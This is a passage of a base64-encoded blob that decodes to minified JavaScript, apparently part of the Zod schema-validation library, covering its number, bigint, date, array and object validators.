mV0dXJuIHRoaXMuX2FkZENoZWNrKHtraW5kOiJtYXgiLHZhbHVlOjAsaW5jbHVzaXZlOiExLG1lc3NhZ2U6bWUudG9TdHJpbmcodCl9KX1ub25wb3NpdGl2ZSh0KXtyZXR1cm4gdGhpcy5fYWRkQ2hlY2soe2tpbmQ6Im1heCIsdmFsdWU6MCxpbmNsdXNpdmU6ITAsbWVzc2FnZTptZS50b1N0cmluZyh0KX0pfW5vbm5lZ2F0aXZlKHQpe3JldHVybiB0aGlzLl9hZGRDaGVjayh7a2luZDoibWluIix2YWx1ZTowLGluY2x1c2l2ZTohMCxtZXNzYWdlOm1lLnRvU3RyaW5nKHQpfSl9bXVsdGlwbGVPZih0LGUpe3JldHVybiB0aGlzLl9hZGRDaGVjayh7a2luZDoibXVsdGlwbGVPZiIsdmFsdWU6dCxtZXNzYWdlOm1lLnRvU3RyaW5nKGUpfSl9ZmluaXRlKHQpe3JldHVybiB0aGlzLl9hZGRDaGVjayh7a2luZDoiZmluaXRlIixtZXNzYWdlOm1lLnRvU3RyaW5nKHQpfSl9c2FmZSh0KXtyZXR1cm4gdGhpcy5fYWRkQ2hlY2soe2tpbmQ6Im1pbiIsaW5jbHVzaXZlOiEwLHZhbHVlOk51bWJlci5NSU5fU0FGRV9JTlRFR0VSLG1lc3NhZ2U6bWUudG9TdHJpbmcodCl9KS5fYWRkQ2hlY2soe2tpbmQ6Im1heCIsaW5jbHVzaXZlOiEwLHZhbHVlOk51bWJlci5NQVhfU0FGRV9JTlRFR0VSLG1lc3NhZ2U6bWUudG9TdHJpbmcodCl9KX1nZXQgbWluVmFsdWUoKXtsZXQgdD1udWxsO2Zvcihjb25zdCBlIG9mIHRoaXMuX2RlZi5jaGVja3MpIm1pbiI9PT1lLmtpbmQmJihudWxsPT09dHx8ZS52YWx1ZT50KSYmKHQ9ZS52YWx1ZSk7cmV0dXJuIHR9Z2V0IG1heFZhbHVlKCl7bGV0IHQ9bnVsbDtmb3IoY29uc3QgZSBvZiB0aGlzLl9kZWYuY2hlY2tzKSJtYXgiPT09ZS5raW5kJiYobnVsbD09PXR8fGUudmFsdWU8dCkmJih0PWUudmFsdWUpO3JldHVybiB0fWdldCBpc0ludCgpe3JldHVybiEhdGhpcy5fZGVmLmNoZWNrcy5maW5kKCh0PT4iaW50Ij09PXQua2luZHx8Im11bHRpcGxlT2YiPT09dC5raW5kJiZJdC5pc0ludGVnZXIodC52YWx1ZSkpKX1nZXQgaXNGaW5pdGUoKXtsZXQgdD1udWxsLGU9bnVsbDtmb3IoY29uc3QgbiBvZiB0aGlzLl9kZWYuY2hlY2tzKXtpZigiZmluaXRlIj09PW4ua2luZHx8ImludCI9PT1uLmtpbmR8fCJtdWx0aXBsZU9mIj09PW4ua2luZClyZXR1cm4hMDsibWluIj09PW4ua2luZD8obnVsbD09PWV8fG4udmFsdWU+ZSkmJihlPW4udmFsdWUpOiJtYXgiPT09bi5raW5kJiYobnVsbD09PXR8fG4udmFsdWU8dCkmJih0PW4udmFsdWUpfXJldHVybiBOdW1iZXIuaXNGaW5pdGUoZSkmJk51bWJlci5pc0Zpbml0ZSh0KX19UWUuY3JlYXRlPXQ9Pm5ldyBRZSh7Y2hlY2tzOltdLHR5cGVOYW1lOl9uLlpvZE51bWJlcixjb2VyY2U6KG51bGw9PXQ/dm9pZCAwOnQuY29lcmNlKXx8ITEsLi4uQ2UodCl9KTtjbGFzcyBKZSBleHRlbmRzIHhle2NvbnN0cnVjdG9yKCl7c3VwZXIoLi4uYXJndW1lbnRzKSx0aGlzLm1pbj10aGlzLmd0ZSx0aGlzLm1heD10aGlzLmx0ZX1fcGFyc2UodCl7dGhpcy5fZGVmLmNvZXJjZSYmKHQuZGF0YT1CaWdJbnQodC5kYXRhKSk7aWYodGhpcy5fZ2V0VHlwZSh0KSE9PWp0LmJpZ2ludCl7Y29uc3QgZT10aGlzLl9nZXRPclJldHVybkN0eCh0KTtyZXR1cm4gb2UoZSx7Y29kZTpYdC5pbnZhbGlkX3R5cGUsZXhwZWN0ZWQ6anQuYmlnaW50LHJlY2VpdmVkOmUucGFyc2VkVHlwZX0pLGllfWxldCBlO2NvbnN0IG49bmV3IGFlO2Zvcihjb25zdCByIG9mIHRoaXMuX2RlZi5jaGVja3MpaWYoIm1pbiI9PT1yLmtpbmQpeyhyLmluY2x1c2l2ZT90LmRhdGE8ci52YWx1ZTp0LmRhdGE8PXIudmFsdWUpJiYoZT10aGlzLl9nZXRPclJldHVybkN0eCh0LGUpLG9lKGUse2NvZGU6WHQudG9vX3NtYWxsLHR5cGU6ImJpZ2ludCIsbWluaW11bTpyLnZhbHVlLGluY2x1c2l2ZTpyLmluY2x1c2l2ZSxtZXNzYWdlOnIubWVzc2FnZX0pLG4uZGlydHkoKSl9ZWxzZSBpZigibWF4Ij09PXIua2luZCl7KHIuaW5jbHVzaXZlP3QuZGF0YT5yLnZhbHVlOnQuZGF0YT49ci52YWx1ZSkmJihlPXRoaXMuX2dldE9yUmV0dXJuQ3R4KHQsZSksb2UoZSx7Y29kZTpYdC50b29fYmlnLHR5cGU6ImJpZ2ludCIsbWF4aW11bTpyLnZhbHVlLGluY2x1c2l2ZTpyLmluY2x1c2l2ZSxtZXNzYWdlOnIubWVzc2FnZX0pLG4uZGlydHkoKSl9ZWxzZSJtdWx0aXBsZU9mIj09PXIua2luZD90LmRhdGElci52YWx1ZSE9PUJpZ0ludCgwKSYmKGU9dGhpcy5fZ2V0T3JSZXR1cm5DdHgodCxlKSxvZShlLHtjb2RlOlh0Lm5vdF9tdWx0aXBsZV9vZixtdWx0aXBsZU9mOnIudmFsdWUsbWVzc2FnZTpyLm1lc3NhZ2V9KSxuLmRpcnR5KCkpOkl0LmFzc2VydE5ldmVyKHIpO3JldHVybntzdGF0dXM6bi52YWx1ZSx2YWx1ZTp0LmRhdGF9fWd0ZSh0LGUpe3JldHVybiB0aGlzLnNldExpbWl0KCJtaW4iLHQsITAsbWUudG9TdHJpbmcoZSkpfWd0KHQsZSl7cmV0dXJuIHRoaXMuc2V0TGltaXQoIm1pbiIsdCwhMSxtZS50b1N0cmluZyhlKSl9bHRlKHQsZSl7cmV0dXJuIHRoaXMuc2V0TGltaXQoIm1heCIsdCwhMCxtZS50b1N0cmluZyhlKSl9bHQodCxlKXtyZXR1cm4gdGhpcy5zZXRMaW1pdCgibWF4Iix0LCExLG1lLnRvU3RyaW5nKGUpKX1zZXRMaW1pdCh0LGUsbixyKXtyZXR1cm4gbmV3IEplKHsuLi50aGlzLl9kZWYsY2hlY2tzOlsuLi50aGlzLl9kZWYuY2hlY2tzLHtraW5kOnQsdmFsdWU6ZSxpbmNsdXNpdmU6bixtZXNzYWdlOm1lLnRvU3RyaW5nKHIpfV19KX1fYWRkQ2hlY2sodCl7cmV0dXJuIG5ldyBKZSh7Li4udGhpcy5fZGVmLGNoZWNrczpbLi4udGhpcy5fZGVmLmNoZWNrcyx0XX0pfXBvc2l0aXZlKHQpe3JldHVybiB0aGlzLl9hZGRDaGVjayh7a2luZDoibWluIix2YWx1ZTpCaWdJbnQoMCksaW5jbHVzaXZlOiExLG1lc3NhZ2U6bWUudG9TdHJpbmcodCl9KX1uZWdhdGl2ZSh0KXtyZXR1cm4gdGhpcy5fYWRkQ2hlY2soe2tpbmQ6Im1heCIsdmFsdWU6QmlnSW50KDApLGluY2x1c2l2ZTohMSxtZXNzYWdlOm1lLnRvU3RyaW5nKHQpfSl9bm9ucG9zaXRpdmUodCl7cmV0dXJuIHRoaXMuX2FkZENoZWNrKHtraW5kOiJtYXgiLHZhbHVlOkJpZ0ludCgwKSxpbmNsdXNpdmU6ITAsbWVzc2FnZTptZS50b1N0cmluZyh0KX0pfW5vbm5lZ2F0aXZlKHQpe3JldHVybiB0aGlzLl9hZGRDaGVjayh7a2luZDoibWluIix2YWx1ZTpCaWdJbnQoMCksaW5jbHVzaXZlOiEwLG1lc3NhZ2U6bWUudG9TdHJpbmcodCl9KX1tdWx0aXBsZU9mKHQsZSl7cmV0dXJuIHRoaXMuX2FkZENoZWNrKHtraW5kOiJtdWx0aXBsZU9mIix2YWx1ZTp0LG1lc3NhZ2U6bWUudG9TdHJpbmcoZSl9KX1nZXQgbWluVmFsdWUoKXtsZXQgdD1udWxsO2Zvcihjb25zdCBlIG9mIHRoaXMuX2RlZi5jaGVja3MpIm1pbiI9PT1lLmtpbmQmJihudWxsPT09dHx8ZS52YWx1ZT50KSYmKHQ9ZS52YWx1ZSk7cmV0dXJuIHR9Z2V0IG1heFZhbHVlKCl7bGV0IHQ9bnVsbDtmb3IoY29uc3QgZSBvZiB0aGlzLl9kZWYuY2hlY2tzKSJtYXgiPT09ZS5raW5kJiYobnVsbD09PXR8fGUudmFsdWU8dCkmJih0PWUudmFsdWUpO3JldHVybiB0fX1KZS5jcmVhdGU9dD0+e3ZhciBlO3JldHVybiBuZXcgSmUoe2NoZWNrczpbXSx0eXBlTmFtZTpfbi5ab2RCaWdJbnQsY29lcmNlOm51bGwhPT0oZT1udWxsPT10P3ZvaWQgMDp0LmNvZXJjZSkmJnZvaWQgMCE9PWUmJmUsLi4uQ2UodCl9KX07Y2xhc3MgSGUgZXh0ZW5kcyB4ZXtfcGFyc2UodCl7dGhpcy5fZGVmLmNvZXJjZSYmKHQuZGF0YT1Cb29sZWFuKHQuZGF0YSkpO2lmKHRoaXMuX2dldFR5cGUodCkhPT1qdC5ib29sZWFuKXtjb25zdCBlPXRoaXMuX2dldE9yUmV0dXJuQ3R4KHQpO3JldHVybiBvZShlLHtjb2RlOlh0LmludmFsaWRfdHlwZSxleHBlY3RlZDpqdC5ib29sZWFuLHJlY2VpdmVkOmUucGFyc2VkVHlwZX0pLGllfXJldHVybiBzZSh0LmRhdGEpfX1IZS5jcmVhdGU9dD0+bmV3IEhlKHt0eXBlTmFtZTpfbi5ab2RCb29sZWFuLGNvZXJjZToobnVsbD09dD92b2lkIDA6dC5jb2VyY2UpfHwhMSwuLi5DZSh0KX0pO2NsYXNzIERlIGV4dGVuZHMgeGV7X3BhcnNlKHQpe3RoaXMuX2RlZi5jb2VyY2UmJih0LmRhdGE9bmV3IERhdGUodC5kYXRhKSk7aWYodGhpcy5fZ2V0VHlwZSh0KSE9PWp0LmRhdGUpe2NvbnN0IGU9dGhpcy5fZ2V0T3JSZXR1cm5DdHgodCk7cmV0dXJuIG9lKGUse2NvZGU6WHQuaW52YWxpZF90eXBlLGV4cGVjdGVkOmp0LmRhdGUscmVjZWl2ZWQ6ZS5wYXJzZWRUeXBlfSksaWV9aWYoaXNOYU4odC5kYXRhLmdldFRpbWUoKSkpe3JldHVybiBvZSh0aGlzLl9nZXRPclJldHVybkN0eCh0KSx7Y29kZTpYdC5pbnZhbGlkX2RhdGV9KSxpZX1jb25zdCBlPW5ldyBhZTtsZXQgbjtmb3IoY29uc3QgciBvZiB0aGlzLl9kZWYuY2hlY2tzKSJtaW4iPT09ci5raW5kP3QuZGF0YS5nZXRUaW1lKCk8ci52YWx1ZSYmKG49dGhpcy5fZ2V0T3JSZXR1cm5DdHgodCxuKSxvZShuLHtjb2RlOlh0LnRvb19zbWFsbCxtZXNzYWdlOnIubWVzc2FnZSxpbmNsdXNpdmU6ITAsZXhhY3Q6ITEsbWluaW11bTpyLnZhbHVlLHR5cGU6ImRhdGUifSksZS5kaXJ0eSgpKToibWF4Ij09PXIua2luZD90LmRhdGEuZ2V0VGltZSgpPnIudmFsdWUmJihuPXRoaXMuX2dldE9yUmV0dXJuQ3R4KHQsbiksb2Uobix7Y29kZTpYdC50b29fYmlnLG1lc3NhZ2U6ci5tZXNzYWdlLGluY2x1c2l2ZTohMCxleGFjdDohMSxtYXhpbXVtOnIudmFsdWUsdHlwZToiZGF0ZSJ9KSxlLmRpcnR5KCkpOkl0LmFzc2VydE5ldmVyKHIpO3JldHVybntzdGF0dXM6ZS52YWx1ZSx2YWx1ZTpuZXcgRGF0ZSh0LmRhdGEuZ2V0VGltZSgpKX19X2FkZENoZWNrKHQpe3JldHVybiBuZXcgRGUoey4uLnRoaXMuX2RlZixjaGVja3M6Wy4uLnRoaXMuX2RlZi5jaGVja3MsdF19KX1taW4odCxlKXtyZXR1cm4gdGhpcy5fYWRkQ2hlY2soe2tpbmQ6Im1pbiIsdmFsdWU6dC5nZXRUaW1lKCksbWVzc2FnZTptZS50b1N0cmluZyhlKX0pfW1heCh0LGUpe3JldHVybiB0aGlzLl9hZGRDaGVjayh7a2luZDoibWF4Iix2YWx1ZTp0LmdldFRpbWUoKSxtZXNzYWdlOm1lLnRvU3RyaW5nKGUpfSl9Z2V0IG1pbkRhdGUoKXtsZXQgdD1udWxsO2Zvcihjb25zdCBlIG9mIHRoaXMuX2RlZi5jaGVja3MpIm1pbiI9PT1lLmtpbmQmJihudWxsPT09dHx8ZS52YWx1ZT50KSYmKHQ9ZS52YWx1ZSk7cmV0dXJuIG51bGwhPXQ/bmV3IERhdGUodCk6bnVsbH1nZXQgbWF4RGF0ZSgpe2xldCB0PW51bGw7Zm9yKGNvbnN0IGUgb2YgdGhpcy5fZGVmLmNoZWNrcykibWF4Ij09PWUua2luZCYmKG51bGw9PT10fHxlLnZhbHVlPHQpJiYodD1lLnZhbHVlKTtyZXR1cm4gbnVsbCE9dD9uZXcgRGF0ZSh0KTpudWxsfX1EZS5jcmVhdGU9dD0+bmV3IERlKHtjaGVja3M6W10sY29lcmNlOihudWxsPT10P3ZvaWQgMDp0LmNvZXJjZSl8fCExLHR5cGVOYW1lOl9uLlpvZERhdGUsLi4uQ2UodCl9KTtjbGFzcyBLZSBleHRlbmRzIHhle19wYXJzZSh0KXtpZih0aGlzLl9nZXRUeXBlKHQpIT09anQuc3ltYm9sKXtjb25zdCBlPXRoaXMuX2dldE9yUmV0dXJuQ3R4KHQpO3JldHVybiBvZShlLHtjb2RlOlh0LmludmFsaWRfdHlwZSxleHBlY3RlZDpqdC5zeW1ib2wscmVjZWl2ZWQ6ZS5wYXJzZWRUeXBlfSksaWV9cmV0dXJuIHNlKHQuZGF0YSl9fUtlLmNyZWF0ZT10PT5uZXcgS2Uoe3R5cGVOYW1lOl9uLlpvZFN5bWJvbCwuLi5DZSh0KX0pO2NsYXNzIEZlIGV4dGVuZHMgeGV7X3BhcnNlKHQpe2lmKHRoaXMuX2dldFR5cGUodCkhPT1qdC51bmRlZmluZWQpe2NvbnN0IGU9dGhpcy5fZ2V0T3JSZXR1cm5DdHgodCk7cmV0dXJuIG9lKGUse2NvZGU6WHQuaW52YWxpZF90eXBlLGV4cGVjdGVkOmp0LnVuZGVmaW5lZCxyZWNlaXZlZDplLnBhcnNlZFR5cGV9KSxpZX1yZXR1cm4gc2UodC5kYXRhKX19RmUuY3JlYXRlPXQ9Pm5ldyBGZSh7dHlwZU5hbWU6X24uWm9kVW5kZWZpbmVkLC4uLkNlKHQpfSk7Y2xhc3MgJGUgZXh0ZW5kcyB4ZXtfcGFyc2UodCl7aWYodGhpcy5fZ2V0VHlwZSh0KSE9PWp0Lm51bGwpe2NvbnN0IGU9dGhpcy5fZ2V0T3JSZXR1cm5DdHgodCk7cmV0dXJuIG9lKGUse2NvZGU6WHQuaW52YWxpZF90eXBlLGV4cGVjdGVkOmp0Lm51bGwscmVjZWl2ZWQ6ZS5wYXJzZWRUeXBlfSksaWV9cmV0dXJuIHNlKHQuZGF0YSl9fSRlLmNyZWF0ZT10PT5uZXcgJGUoe3R5cGVOYW1lOl9uLlpvZE51bGwsLi4uQ2UodCl9KTtjbGFzcyBJZSBleHRlbmRzIHhle2NvbnN0cnVjdG9yKCl7c3VwZXIoLi4uYXJndW1lbnRzKSx0aGlzLl9hbnk9ITB9X3BhcnNlKHQpe3JldHVybiBzZSh0LmRhdGEpfX1JZS5jcmVhdGU9dD0+bmV3IEllKHt0eXBlTmFtZTpfbi5ab2RBbnksLi4uQ2UodCl9KTtjbGFzcyBWZSBleHRlbmRzIHhle2NvbnN0cnVjdG9yKCl7c3VwZXIoLi4uYXJndW1lbnRzKSx0aGlzLl91bmtub3duPSEwfV9wYXJzZSh0KXtyZXR1cm4gc2UodC5kYXRhKX19VmUuY3JlYXRlPXQ9Pm5ldyBWZSh7dHlwZU5hbWU6X24uWm9kVW5rbm93biwuLi5DZSh0KX0pO2NsYXNzIHplIGV4dGVuZHMgeGV7X3BhcnNlKHQpe2NvbnN0IGU9dGhpcy5fZ2V0T3JSZXR1cm5DdHgodCk7cmV0dXJuIG9lKGUse2NvZGU6WHQuaW52YWxpZF90eXBlLGV4cGVjdGVkOmp0Lm5ldmVyLHJlY2VpdmVkOmUucGFyc2VkVHlwZX0pLGllfX16ZS5jcmVhdGU9dD0+bmV3IHplKHt0eXBlTmFtZTpfbi5ab2ROZXZlciwuLi5DZSh0KX0pO2NsYXNzIGplIGV4dGVuZHMgeGV7X3BhcnNlKHQpe2lmKHRoaXMuX2dldFR5cGUodCkhPT1qdC51bmRlZmluZWQpe2NvbnN0IGU9dGhpcy5fZ2V0T3JSZXR1cm5DdHgodCk7cmV0dXJuIG9lKGUse2NvZGU6WHQuaW52YWxpZF90eXBlLGV4cGVjdGVkOmp0LnZvaWQscmVjZWl2ZWQ6ZS5wYXJzZWRUeXBlfSksaWV9cmV0dXJuIHNlKHQuZGF0YSl9fWplLmNyZWF0ZT10PT5uZXcgamUoe3R5cGVOYW1lOl9uLlpvZFZvaWQsLi4uQ2UodCl9KTtjbGFzcyBVZSBleHRlbmRzIHhle19wYXJzZSh0KXtjb25zdHtjdHg6ZSxzdGF0dXM6bn09dGhpcy5fcHJvY2Vzc0lucHV0UGFyYW1zKHQpLHI9dGhpcy5fZGVmO2lmKGUucGFyc2VkVHlwZSE9PWp0LmFycmF5KXJldHVybiBvZShlLHtjb2RlOlh0LmludmFsaWRfdHlwZSxleHBlY3RlZDpqdC5hcnJheSxyZWNlaXZlZDplLnBhcnNlZFR5cGV9KSxpZTtpZihudWxsIT09ci5leGFjdExlbmd0aCl7Y29uc3QgdD1lLmRhdGEubGVuZ3RoPnIuZXhhY3RMZW5ndGgudmFsdWUsbz1lLmRhdGEubGVuZ3RoPHIuZXhhY3RMZW5ndGgudmFsdWU7KHR8fG8pJiYob2UoZSx7Y29kZTp0P1h0LnRvb19iaWc6WHQudG9vX3NtYWxsLG1pbmltdW06bz9yLmV4YWN0TGVuZ3RoLnZhbHVlOnZvaWQgMCxtYXhpbXVtOnQ/ci5leGFjdExlbmd0aC52YWx1ZTp2b2lkIDAsdHlwZToiYXJyYXkiLGluY2x1c2l2ZTohMCxleGFjdDohMCxtZXNzYWdlOnIuZXhhY3RMZW5ndGgubWVzc2FnZX0pLG4uZGlydHkoKSl9aWYobnVsbCE9PXIubWluTGVuZ3RoJiZlLmRhdGEubGVuZ3RoPHIubWluTGVuZ3RoLnZhbHVlJiYob2UoZSx7Y29kZTpYdC50b29fc21hbGwsbWluaW11bTpyLm1pbkxlbmd0aC52YWx1ZSx0eXBlOiJhcnJheSIsaW5jbHVzaXZlOiEwLGV4YWN0OiExLG1lc3NhZ2U6ci5taW5MZW5ndGgubWVzc2FnZX0pLG4uZGlydHkoKSksbnVsbCE9PXIubWF4TGVuZ3RoJiZlLmRhdGEubGVuZ3RoPnIubWF4TGVuZ3RoLnZhbHVlJiYob2UoZSx7Y29kZTpYdC50b29fYmlnLG1heGltdW06ci5tYXhMZW5ndGgudmFsdWUsdHlwZToiYXJyYXkiLGluY2x1c2l2ZTohMCxleGFjdDohMSxtZXNzYWdlOnIubWF4TGVuZ3RoLm1lc3NhZ2V9KSxuLmRpcnR5KCkpLGUuY29tbW9uLmFzeW5jKXJldHVybiBQcm9taXNlLmFsbChbLi4uZS5kYXRhXS5tYXAoKCh0LG4pPT5yLnR5cGUuX3BhcnNlQXN5bmMobmV3IHZlKGUsdCxlLnBhdGgsbikpKSkpLnRoZW4oKHQ9PmFlLm1lcmdlQXJyYXkobix0KSkpO2NvbnN0IG89Wy4uLmUuZGF0YV0ubWFwKCgodCxuKT0+ci50eXBlLl9wYXJzZVN5bmMobmV3IHZlKGUsdCxlLnBhdGgsbikpKSk7cmV0dXJuIGFlLm1lcmdlQXJyYXkobixvKX1nZXQgZWxlbWVudCgpe3JldHVybiB0aGlzLl9kZWYudHlwZX1taW4odCxlKXtyZXR1cm4gbmV3IFVlKHsuLi50aGlzLl9kZWYsbWluTGVuZ3RoOnt2YWx1ZTp0LG1lc3NhZ2U6bWUudG9TdHJpbmcoZSl9fSl9bWF4KHQsZSl7cmV0dXJuIG5ldyBVZSh7Li4udGhpcy5fZGVmLG1heExlbmd0aDp7dmFsdWU6dCxtZXNzYWdlOm1lLnRvU3RyaW5nKGUpfX0pfWxlbmd0aCh0LGUpe3JldHVybiBuZXcgVWUoey4uLnRoaXMuX2RlZixleGFjdExlbmd0aDp7dmFsdWU6dCxtZXNzYWdlOm1lLnRvU3RyaW5nKGUpfX0pfW5vbmVtcHR5KHQpe3JldHVybiB0aGlzLm1pbigxLHQpfX1mdW5jdGlvbiBYZSh0KXtpZih0IGluc3RhbmNlb2YgWWUpe2NvbnN0IGU9e307Zm9yKGNvbnN0IG4gaW4gdC5zaGFwZSl7Y29uc3Qgcj10LnNoYXBlW25dO2Vbbl09Z24uY3JlYXRlKFhlKHIpKX1yZXR1cm4gbmV3IFllKHsuLi50Ll9kZWYsc2hhcGU6KCk9PmV9KX1yZXR1cm4gdCBpbnN0YW5jZW9mIFVlP25ldyBVZSh7Li4udC5fZGVmLHR5cGU6WGUodC5lbGVtZW50KX0pOnQgaW5zdGFuY2VvZiBnbj9nbi5jcmVhdGUoWGUodC51bndyYXAoKSkpOnQgaW5zdGFuY2VvZiB2bj92bi5jcmVhdGUoWGUodC51bndyYXAoKSkpOnQgaW5zdGFuY2VvZiBhbj9hbi5jcmVhdGUodC5pdGVtcy5tYXAoKHQ9PlhlKHQpKSkpOnR9VWUuY3JlYXRlPSh0LGUpPT5uZXcgVWUoe3R5cGU6dCxtaW5MZW5ndGg6bnVsbCxtYXhMZW5ndGg6bnVsbCxleGFjdExlbmd0aDpudWxsLHR5cGVOYW1lOl9uLlpvZEFycmF5LC4uLkNlKGUpfSk7Y2xhc3MgWWUgZXh0ZW5kcyB4ZXtjb25zdHJ1Y3Rvcigpe3N1cGVyKC4uLmFyZ3VtZW50cyksdGhpcy5fY2FjaGVkPW51bGwsdGhpcy5ub25zdHJpY3Q9dGhpcy5wYXNzdGhyb3VnaCx0aGlzLmF1Z21lbnQ9dGhpcy5leHRlbmR9X2dldENhY2hlZCgpe2lmKG51bGwhPT10aGlzLl9jYWNoZWQpcmV0dXJuIHRoaXMuX2NhY2hlZDtjb25zdCB0PXRoaXMuX2RlZi5zaGFwZSgpLGU9SXQub2JqZWN0S2V5cyh0KTtyZXR1cm4gdGhpcy5fY2FjaGVkPXtzaGFwZTp0LGtleXM6ZX19X3BhcnNlKHQpe2lmKHRoaXMuX2dldFR5cGUodCkhPT1qdC5vYmplY3Qpe2NvbnN0IGU9dGhpcy5fZ2V0T3JSZXR1cm5DdHgodCk7cmV0dXJuIG9lKGUse2NvZGU6WHQuaW52YWxpZF90eXBlLGV4cGVjdGVkOmp0Lm9iamVjdCxyZWNlaXZlZDplLnBhcnNlZFR5cGV9KSxpZX1jb25zdHtzdGF0dXM6ZSxjdHg6bn09dGhpcy5fcHJvY2Vzc0lucHV0UGFyYW1zKHQpLHtzaGFwZTpyLGtleXM6b309dGhpcy5fZ2V0Q2FjaGVkKCksYT1bXTtpZighKHRoaXMuX2RlZi5jYXRjaGFsbCBpbnN0YW5jZW9mIHplJiYic3RyaXAiPT09dGhpcy5fZGVmLnVua25vd25LZXlzKSlmb3IoY29uc3QgYyBpbiBuLmRhdGEpby5pbmNsdWRlcyhjKXx8YS5wdXNoKGMpO2NvbnN0IGk9W107Zm9yKGNvbnN0IGMgb2Ygbyl7Y29uc3QgdD1yW2NdLGU9bi5kYXRhW2NdO2kucHVzaCh7a2V5OntzdGF0dXM6InZhbGlkIix2YWx1ZTpjfSx2YWx1ZTp0Ll9wYXJzZShuZXcgdmUobixlLG4ucGF0aCxjKSksYWx3YXlzU2V0OmMgaW4gbi5kYXRhfSl9aWYodGhpcy5fZGVmLmNhdGNoYWxsIGluc3RhbmNlb2YgemUpe2NvbnN0IHQ9dGhpcy5fZGVmLnVua25vd25LZXlzO2lmKCJwYXNzdGhyb3VnaCI9PT10KWZvcihjb25zdCBlIG9mIGEpaS5wdXNoKHtrZXk6e3N0YXR1czoidmFsaWQiLHZhbHVlOmV9LHZhbHVlOntzdGF0dXM6InZhbGlkIix2YWx1ZTpuLmRhdGFbZV19fSk7ZWxzZSBpZigic3RyaWN0Ij09PXQpYS5sZW5ndGg+MCYmKG9lKG4se2NvZGU6WHQudW5yZWNvZ25pemVkX2tleXMsa2V5czphfSksZS5kaXJ0eSgpKTtlbHNlIGlmKCJzdHJpcCIhPT10KXRocm93IG5ldyBFcnJvcigiSW50ZXJuYWwgWm9kT2JqZWN0IGVycm9yOiBpbnZhbGlkIHVua25vd25LZXlzIHZhbHVlLiIpfWVsc2V7Y29uc3QgdD10aGlzLl9kZWYuY2F0Y2hhbGw7Zm9yKGNvbnN0IGUgb2YgYSl7Y29uc3Qgcj1uLmRhdGFbZV07aS5wdXNoKHtrZXk6e3N0YXR1czoidmFsaWQiLHZhbHVlOmV9LHZhbHVlOnQuX3BhcnNlKG5ldyB2ZShuLHIsbi5wYXRoLGUpKSxhbHdheXNTZXQ6ZSBpbiBuLmRhdGF9KX19cmV0dXJuIG4uY29tbW9uLmFzeW5jP1Byb21pc2UucmVzb2x2ZSgpLnRoZW4oKGFzeW5jKCk9Pntjb25zdCB0PVtdO2Zvcihjb25zdCBlIG9mIGkpe2NvbnN0IG49YXdhaXQgZS5rZXkscj1hd2FpdCBlLnZhbHVlO3QucHVzaCh7a2V5Om4sdmFsdWU6cixhbHdheXNTZXQ6ZS5hbHdheXNTZXR9KX1yZXR1cm4gdH0pKS50aGVuKCh0PT5hZS5tZXJnZU9iamVjdFN5bmMoZSx0KSkpOmFlLm1lcmdlT2JqZWN0U3luYyhlLGkpfWdldCBzaGFwZSgpe3JldHVybiB0aGlzLl9kZWYuc2hhcGUoKX1zdHJpY3QodCl7cmV0dXJuIG1lLmVyclRvT2JqLG5ldyBZZSh7Li4udGhpcy5fZGVmLHVua25vd25LZXlzOiJzdHJpY3QiLC4uLnZvaWQgMCE9PXQ/e2Vycm9yTWFwOihlLG4pPT57dmFyIHIsbyxhLGk7Y29uc3QgYz1udWxsIT09KGE9bnVsbD09PShvPShyPXRoaXMuX2RlZikuZXJyb3JNYXApfHx2b2lkIDA9PT1vP3ZvaWQgMDpvLmNhbGwocixlLG4pLm1lc3NhZ2UpJiZ2b2lkIDAhPT1hP2E6bi5kZWZhdWx0RXJyb3I7cmV0dXJuInVucmVjb2duaXplZF9rZXlzIj09PWUuY29kZT97bWVzc2FnZTpudWxsIT09KGk9bWUuZXJyVG9PYmoodCkubWVzc2FnZSkmJnZvaWQgMCE9PWk/aTpjfTp7bWVzc2FnZTpjfX19Ont9fSl9c3RyaXAoKXtyZXR1cm4gbmV3IFllKHsuLi50aGlzLl9kZWYsdW5rbm93bktleXM6InN0cmlwIn0pfXBhc3N0aHJvdWdoKCl7cmV0dXJuIG5ldyBZZSh7Li4udGhpcy5fZGVmLHVua25vd25LZXlzOiJwYXNzdGhyb3VnaCJ9KX1leHRlbmQodCl7cmV0dXJuIG5ldyBZZSh7Li4udGhpcy5fZGVmLHNoYXBlOigpPT4oey4uLnRoaXMuX2RlZi5zaGFwZSgpLC4uLnR9KX0pfW1lcmdlKHQpe3JldHVybiBuZXcgWWUoe3Vua25vd25LZXlzOnQuX2RlZi51bmtub3duS2V5cyxjYXRjaGFsbDp0Ll9kZWYuY2F0Y2hhbGwsc2hhcGU6KCk9Pih7Li4udGhpcy5fZGVmLnNoYXBlKCksLi4udC5fZGVmLnNoYXBlKCl9KSx0eXBlTmFtZTpfbi5ab2RPYmplY3R9KX1zZXRLZXkodCxlKXtyZXR1cm4gdGhpcy5hdWdtZW50KHtbdF06ZX0pfWNhdGNoYWxsKHQpe3JldHVybiBuZXcgWWUoey4uLnRoaXMuX2RlZixjYXRjaGFsbDp0fSl9cGljayh0KXtjb25zdCBlPXt9O3JldHVybiBJdC5vYmplY3RLZXlzKHQpLmZvckVhY2goKG49Pnt0W25dJiZ0aGlzLnNoYXBlW25dJiYoZVtuXT10aGlzLnNoYXBlW25dKX0pKSxuZXcgWWUoey4uLnRoaXMuX2RlZixzaGFwZTooKT0+ZX0pfW9taXQodCl7Y29uc3QgZT17fTtyZXR1cm4gSXQub2JqZWN0S2V5cyh0aGlzLnNoYXBlKS5mb3JFYWNoKChuPT57dFtuXXx8KGVbbl09dGhpcy5zaGFwZVtuXSl9KSksbmV3IFllKHsuLi50aGlzLl9kZWYsc2hhcGU6KCk9PmV9KX1kZWVwUGFydGlhbCgpe3JldHVybiBYZSh0aGlzKX1wYXJ0aWFsKHQpe2NvbnN0IGU9e307cmV0dXJuIEl0Lm9iamVjdEtleXModGhpcy5zaGFwZSkuZm9yRWFjaCgobj0+e2NvbnN0IHI9dGhpcy5zaGFwZVtuXTt0JiYhdFtuXT9lW25dPXI6ZVtuXT1yLm9wdGlvbmFsKCl9KSksbmV3IFllKHsuLi50aGlzLl9kZWYsc2hhcGU6KCk9PmV9KX1yZXF1aXJlZCh0KXtjb25zdCBlPXt9O3JldHVybiBJdC5vYmplY3RLZXlzKHRoaXMuc2hhcGUpLmZvckVhY2goKG49PntpZih0JiYhdFtuXSllW25dPXRoaXMuc2hhcGVbbl07ZWxzZXtsZXQgdD10aGlzLnNoYXBlW25dO2Zvcig7dCBpbnN0YW5jZW9mIGduOyl0PXQuX2